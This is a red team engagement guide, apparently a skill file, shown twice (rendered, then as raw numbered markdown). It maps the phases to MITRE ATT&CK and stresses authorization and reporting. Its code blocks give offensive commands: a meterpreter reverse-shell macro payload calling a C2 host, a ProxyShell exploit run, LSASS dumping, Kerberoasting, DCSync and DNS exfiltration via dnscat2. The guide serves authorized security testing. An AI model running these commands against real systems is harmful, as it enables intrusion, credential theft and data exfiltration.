Conducting Full-Scope Red Team Engagement
Overview
A full-scope red team engagement simulates real-world adversary behavior across all phases of the cyber kill chain — from initial reconnaissance through data exfiltration — to evaluate an organization's detection, prevention, and response capabilities. Unlike penetration testing, red team operations prioritize stealth, persistence, and objective-based scenarios that mimic advanced persistent threats (APTs).
When to Use
- When conducting security assessments that involve conducting full scope red team engagement
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Most Often Missed & How to Confirm
- No deconfliction / emergency-stop line agreed before kickoff. Capture SOC deconfliction contacts and the abort procedure in the RoE before any action, or a real incident gets confused with the test.
- Treating phishing failure as engagement failure. When initial access stalls, pivot to the agreed assumed-breach grant instead of burning the window on more lures.
- Not timestamping actions as you go. MTTD/MTTR and dwell-time metrics can't be reconstructed after the fact — log each TTP with a timestamp live.
- Skipping artifact/persistence cleanup and kill dates, leaving implants and scheduled tasks behind.
- Pursuing "crown jewels" that aren't actually in scope — re-verify objectives against the RoE.
- How to confirm: every phase produces an evidence artifact (screenshot + timestamp + host). An objective counts as achieved only when the concrete success signal is observed — e.g. membership in Domain Admins confirmed via
whoami /groups, or the crown-jewel file hash received at the C2 after exfil. Don't conclude an objective is unmet until the assumed-breach path has been tried; an initial-access miss is not an engagement miss.
Prerequisites
- Written authorization (Rules of Engagement document) signed by executive leadership
- Defined scope including in-scope/out-of-scope systems, escalation contacts, and emergency stop procedures
- Threat intelligence on relevant adversary groups (e.g., APT29, FIN7, Lazarus Group)
- Red team infrastructure: C2 servers, redirectors, phishing domains, payload development environment
- Legal review confirming compliance with Computer Fraud and Abuse Act (CFAA) and local laws
Engagement Phases
Phase 1: Planning and Threat Modeling
Map the engagement to specific MITRE ATT&CK tactics and techniques based on the threat profile:
| Kill Chain Phase |
MITRE ATT&CK Tactic |
Example Techniques |
| Reconnaissance |
TA0043 |
T1593 Search Open Websites/Domains, T1589 Gather Victim Identity Info |
| Resource Development |
TA0042 |
T1583.001 Acquire Infrastructure: Domains, T1587.001 Develop Capabilities: Malware |
| Initial Access |
TA0001 |
T1566.001 Spearphishing Attachment, T1078 Valid Accounts |
| Execution |
TA0002 |
T1059.001 PowerShell, T1204.002 User Execution: Malicious File |
| Persistence |
TA0003 |
T1053.005 Scheduled Task, T1547.001 Registry Run Keys |
| Privilege Escalation |
TA0004 |
T1068 Exploitation for Privilege Escalation, T1548.002 UAC Bypass |
| Defense Evasion |
TA0005 |
T1055 Process Injection, T1027 Obfuscated Files |
| Credential Access |
TA0006 |
T1003.001 LSASS Memory, T1558.003 Kerberoasting |
| Discovery |
TA0007 |
T1087 Account Discovery, T1018 Remote System Discovery |
| Lateral Movement |
TA0008 |
T1021.002 SMB/Windows Admin Shares, T1550.002 Pass the Hash |
| Collection |
TA0009 |
T1560 Archive Collected Data, T1213 Data from Information Repositories |
| Exfiltration |
TA0010 |
T1041 Exfiltration Over C2 Channel, T1048 Exfiltration Over Alternative Protocol |
| Impact |
TA0040 |
T1486 Data Encrypted for Impact, T1489 Service Stop |
Phase 2: Reconnaissance (OSINT)
# Passive DNS enumeration
amass enum -passive -d target.com -o amass_passive.txt
# Certificate transparency log search
python3 -c "
import requests
url = 'https://crt.sh/?q=%.target.com&output=json'
r = requests.get(url)
for cert in r.json():
print(cert['name_value'])
" | sort -u > subdomains.txt
# LinkedIn employee enumeration
theHarvester -d target.com -b linkedin -l 500 -f harvest_results
# Technology fingerprinting
whatweb -v target.com --log-json=whatweb.json
# Breach data credential search (authorized)
h8mail -t target.com -o h8mail_results.csv
Phase 3: Initial Access
Common initial access vectors for red team engagements:
Spearphishing (T1566.001):
# Generate payload with macro
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=c2.redteam.local LPORT=443 -f vba -o macro.vba
# Set up GoPhish campaign
# Configure SMTP profile, email template with pretexted lure, and landing page
gophish --config config.json
External Service Exploitation (T1190):
# Scan for vulnerable services
nmap -sV -sC --script vuln -p 80,443,8080,8443 target.com -oA vuln_scan
# Exploit known CVE (example: ProxyShell CVE-2021-34473)
python3 proxyshell_exploit.py -t mail.target.com -e attacker@target.com
Phase 4: Post-Exploitation and Lateral Movement
# Situational awareness (T1082, T1016)
whoami /all
systeminfo
ipconfig /all
net group "Domain Admins" /domain
nltest /dclist:target.com
# Credential harvesting from LSASS (T1003.001)
# Using Havoc C2 built-in module
dotnet inline-execute SafetyKatz.exe sekurlsa::logonpasswords
# Kerberoasting (T1558.003)
Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt
# Lateral movement via WMI (T1047)
wmiexec.py domain/user:password@target-dc -c "whoami"
# Lateral movement via PsExec (T1021.002)
psexec.py domain/admin:password@fileserver.target.com
Phase 5: Objective Achievement
Define and pursue specific objectives:
- Domain Dominance: Achieve Domain Admin access and DCSync credentials
- Data Exfiltration: Locate and exfiltrate crown jewel data (e.g., PII, financial records)
- Business Impact Simulation: Demonstrate ransomware deployment capability (without execution)
- Physical Access: Badge cloning, tailgating, server room access
# DCSync attack (T1003.006)
secretsdump.py domain/admin:password@dc01.target.com -just-dc-ntlm
# Exfiltration over DNS (T1048.003)
dnscat2 --dns "domain=exfil.redteam.com" --secret=s3cr3t
Phase 6: Reporting and Debrief
The report should include:
- Executive Summary: Business impact, risk rating, key findings
- Attack Narrative: Timeline of activities with screenshots and evidence
- MITRE ATT&CK Mapping: Full heat map of techniques used
- Findings: Each finding with CVSS score, evidence, remediation
- Detection Gap Analysis: What the SOC detected vs. what was missed
- Purple Team Recommendations: Specific detection rules for gaps identified
Metrics and KPIs
| Metric |
Description |
| Mean Time to Detect (MTTD) |
Average time from action to SOC detection |
| Mean Time to Respond (MTTR) |
Average time from detection to containment |
| TTP Coverage |
Percentage of executed techniques detected |
| Objective Achievement Rate |
Percentage of defined objectives completed |
| Dwell Time |
Total time red team maintained access undetected |
Tools and Frameworks
- C2 Frameworks: Havoc, Cobalt Strike, Sliver, Mythic, Brute Ratel C4
- Reconnaissance: Amass, Recon-ng, theHarvester, SpiderFoot
- Exploitation: Metasploit, Impacket, CrackMapExec, Rubeus
- Post-Exploitation: Mimikatz, SharpCollection, BOF.NET
- Reporting: PlexTrac, Ghostwriter, Serpico
References
1---2name: conducting-full-scope-red-team-engagement3description: Plan and execute a comprehensive red team engagement covering reconnaissance through post-exploitation using MITRE ATT&CK-aligned TTPs to evaluate an organization's detection and response capabilities.4license: Apache-2.05---67# Conducting Full-Scope Red Team Engagement89## Overview1011A full-scope red team engagement simulates real-world adversary behavior across all phases of the cyber kill chain — from initial reconnaissance through data exfiltration — to evaluate an organization's detection, prevention, and response capabilities. Unlike penetration testing, red team operations prioritize stealth, persistence, and objective-based scenarios that mimic advanced persistent threats (APTs).121314## When to Use1516- When conducting security assessments that involve conducting full scope red team engagement17- When following incident response procedures for related security events18- When performing scheduled security testing or auditing activities19- When validating security controls through hands-on testing2021## Most Often Missed & How to Confirm2223- **No deconfliction / emergency-stop line agreed before kickoff.** Capture SOC deconfliction contacts and the abort procedure in the RoE before any action, or a real incident gets confused with the test.24- **Treating phishing failure as engagement failure.** When initial access stalls, pivot to the agreed assumed-breach grant instead of burning the window on more lures.25- **Not timestamping actions as you go.** MTTD/MTTR and dwell-time metrics can't be reconstructed after the fact — log each TTP with a timestamp live.26- **Skipping artifact/persistence cleanup and kill dates**, leaving implants and scheduled tasks behind.27- **Pursuing "crown jewels" that aren't actually in scope** — re-verify objectives against the RoE.28- **How to confirm:** every phase produces an evidence artifact (screenshot + timestamp + host). An objective counts as *achieved* only when the concrete success signal is observed — e.g. membership in Domain Admins confirmed via `whoami /groups`, or the crown-jewel file hash received at the C2 after exfil. Don't conclude an objective is unmet until the assumed-breach path has been tried; an initial-access miss is not an engagement miss.2930## Prerequisites3132- Written authorization (Rules of Engagement document) signed by executive leadership33- Defined scope including in-scope/out-of-scope systems, escalation contacts, and emergency stop procedures34- Threat intelligence on relevant adversary groups (e.g., APT29, FIN7, Lazarus Group)35- Red team infrastructure: C2 servers, redirectors, phishing domains, payload development environment36- Legal review confirming compliance with Computer Fraud and Abuse Act (CFAA) and local laws3738## Engagement Phases3940### Phase 1: Planning and Threat Modeling4142Map the engagement to specific MITRE ATT&CK tactics and techniques based on the threat profile:4344| Kill Chain Phase | MITRE ATT&CK Tactic | Example Techniques |45|---|---|---|46| Reconnaissance | TA0043 | T1593 Search Open Websites/Domains, T1589 Gather Victim Identity Info |47| Resource Development | TA0042 | T1583.001 Acquire Infrastructure: Domains, T1587.001 Develop Capabilities: Malware |48| Initial Access | TA0001 | T1566.001 Spearphishing Attachment, T1078 Valid Accounts |49| Execution | TA0002 | T1059.001 PowerShell, T1204.002 User Execution: Malicious File |50| Persistence | TA0003 | T1053.005 Scheduled Task, T1547.001 Registry Run Keys |51| Privilege Escalation | TA0004 | T1068 Exploitation for Privilege Escalation, T1548.002 UAC Bypass |52| Defense Evasion | TA0005 | T1055 Process Injection, T1027 Obfuscated Files |53| Credential Access | TA0006 | T1003.001 LSASS Memory, T1558.003 Kerberoasting |54| Discovery | TA0007 | T1087 Account Discovery, T1018 Remote System Discovery |55| Lateral Movement | TA0008 | T1021.002 SMB/Windows Admin Shares, T1550.002 Pass the Hash |56| Collection | TA0009 | T1560 Archive Collected Data, T1213 Data from Information Repositories |57| Exfiltration | TA0010 | T1041 Exfiltration Over C2 Channel, T1048 Exfiltration Over Alternative Protocol |58| Impact | TA0040 | T1486 Data Encrypted for Impact, T1489 Service Stop |5960### Phase 2: Reconnaissance (OSINT)6162```bash63# Passive DNS enumeration64amass enum -passive -d target.com -o amass_passive.txt6566# Certificate transparency log search67python3 -c "68import requests69url = 'https://crt.sh/?q=%.target.com&output=json'70r = requests.get(url)71for cert in r.json():72 print(cert['name_value'])73" | sort -u > subdomains.txt7475# LinkedIn employee enumeration76theHarvester -d target.com -b linkedin -l 500 -f harvest_results7778# Technology fingerprinting79whatweb -v target.com --log-json=whatweb.json8081# Breach data credential search (authorized)82h8mail -t target.com -o h8mail_results.csv83```8485### Phase 3: Initial Access8687Common initial access vectors for red team engagements:8889**Spearphishing (T1566.001):**90```bash91# Generate payload with macro92msfvenom -p windows/x64/meterpreter/reverse_https LHOST=c2.redteam.local LPORT=443 -f vba -o macro.vba9394# Set up GoPhish campaign95# Configure SMTP profile, email template with pretexted lure, and landing page96gophish --config config.json97```9899**External Service Exploitation (T1190):**100```bash101# Scan for vulnerable services102nmap -sV -sC --script vuln -p 80,443,8080,8443 target.com -oA vuln_scan103104# Exploit known CVE (example: ProxyShell CVE-2021-34473)105python3 proxyshell_exploit.py -t mail.target.com -e attacker@target.com106```107108### Phase 4: Post-Exploitation and Lateral Movement109110```powershell111# Situational awareness (T1082, T1016)112whoami /all113systeminfo114ipconfig /all115net group "Domain Admins" /domain116nltest /dclist:target.com117118# Credential harvesting from LSASS (T1003.001)119# Using Havoc C2 built-in module120dotnet inline-execute SafetyKatz.exe sekurlsa::logonpasswords121122# Kerberoasting (T1558.003)123Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt124125# Lateral movement via WMI (T1047)126wmiexec.py domain/user:password@target-dc -c "whoami"127128# Lateral movement via PsExec (T1021.002)129psexec.py domain/admin:password@fileserver.target.com130```131132### Phase 5: Objective Achievement133134Define and pursue specific objectives:1351361. **Domain Dominance**: Achieve Domain Admin access and DCSync credentials1372. **Data Exfiltration**: Locate and exfiltrate crown jewel data (e.g., PII, financial records)1383. **Business Impact Simulation**: Demonstrate ransomware deployment capability (without execution)1394. **Physical Access**: Badge cloning, tailgating, server room access140141```bash142# DCSync attack (T1003.006)143secretsdump.py domain/admin:password@dc01.target.com -just-dc-ntlm144145# Exfiltration over DNS (T1048.003)146dnscat2 --dns "domain=exfil.redteam.com" --secret=s3cr3t147```148149### Phase 6: Reporting and Debrief150151The report should include:1521531. **Executive Summary**: Business impact, risk rating, key findings1542. **Attack Narrative**: Timeline of activities with screenshots and evidence1553. **MITRE ATT&CK Mapping**: Full heat map of techniques used1564. **Findings**: Each finding with CVSS score, evidence, remediation1575. **Detection Gap Analysis**: What the SOC detected vs. what was missed1586. **Purple Team Recommendations**: Specific detection rules for gaps identified159160## Metrics and KPIs161162| Metric | Description |163|---|---|164| Mean Time to Detect (MTTD) | Average time from action to SOC detection |165| Mean Time to Respond (MTTR) | Average time from detection to containment |166| TTP Coverage | Percentage of executed techniques detected |167| Objective Achievement Rate | Percentage of defined objectives completed |168| Dwell Time | Total time red team maintained access undetected |169170## Tools and Frameworks171172- **C2 Frameworks**: Havoc, Cobalt Strike, Sliver, Mythic, Brute Ratel C4173- **Reconnaissance**: Amass, Recon-ng, theHarvester, SpiderFoot174- **Exploitation**: Metasploit, Impacket, CrackMapExec, Rubeus175- **Post-Exploitation**: Mimikatz, SharpCollection, BOF.NET176- **Reporting**: PlexTrac, Ghostwriter, Serpico177178## References179180- MITRE ATT&CK Framework: https://attack.mitre.org/181- Red Team Guide: https://redteam.guide/182- PTES (Penetration Testing Execution Standard): http://www.pentest-standard.org/183- TIBER-EU Framework for Red Teaming: https://www.ecb.europa.eu/paym/cyber-resilience/tiber-eu/184- CBEST Intelligence-Led Testing: https://www.bankofengland.co.uk/financial-stability/financial-sector-continuity